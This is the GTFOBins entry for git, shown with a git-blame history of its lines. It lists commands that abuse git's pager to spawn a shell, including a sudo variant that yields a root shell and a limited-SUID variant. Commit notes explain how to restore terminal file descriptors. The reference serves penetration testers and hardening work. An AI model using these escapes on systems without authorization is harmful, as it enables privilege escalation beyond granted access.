GTFOBins.github.io/_gtfobins/git.md

---
functions:
  shell:
    - code: PAGER='sh -c "exec sh 0<&1"' git -p help
    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
      code: |
        git help config
        !/bin/sh
  sudo:
    - code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help
    - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. Several capabilities might be dropped in the child process using this method.
      code: |
        sudo git help config
        !/bin/sh
  limited-suid:
    - code: PAGER='sh -c "exec sh 0<&1"' ./git -p help
---
Add git 2018-07-22 15:06:54 +02:00			`---`
			`functions:`
Adopt new function names 2018-10-05 19:55:38 +02:00			`shell:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`- code: PAGER='sh -c "exec sh 0<&1"' git -p help`
Add functions with default pager in git 2019-03-31 12:03:34 +02:00			- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
			`code: \|`
Increase the probability that the pager is called by Git `git help config` produces a much longer output, hopefully longer than the terminal window. Close #62 2019-06-23 17:16:13 +02:00			`git help config`
Add functions with default pager in git 2019-03-31 12:03:34 +02:00			`!/bin/sh`
Adopt new function names 2018-10-05 19:55:38 +02:00			`sudo:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`- code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help`
Add notice about Git sudo capabilities 2019-06-23 17:24:38 +02:00			- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. Several capabilities might be dropped in the child process using this method.
Add functions with default pager in git 2019-03-31 12:03:34 +02:00			`code: \|`
Increase the probability that the pager is called by Git `git help config` produces a much longer output, hopefully longer than the terminal window. Close #62 2019-06-23 17:16:13 +02:00			`sudo git help config`
Add functions with default pager in git 2019-03-31 12:03:34 +02:00			`!/bin/sh`
Adopt new function names 2018-10-05 19:55:38 +02:00			`limited-suid:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`- code: PAGER='sh -c "exec sh 0<&1"' ./git -p help`
Add git 2018-07-22 15:06:54 +02:00			`---`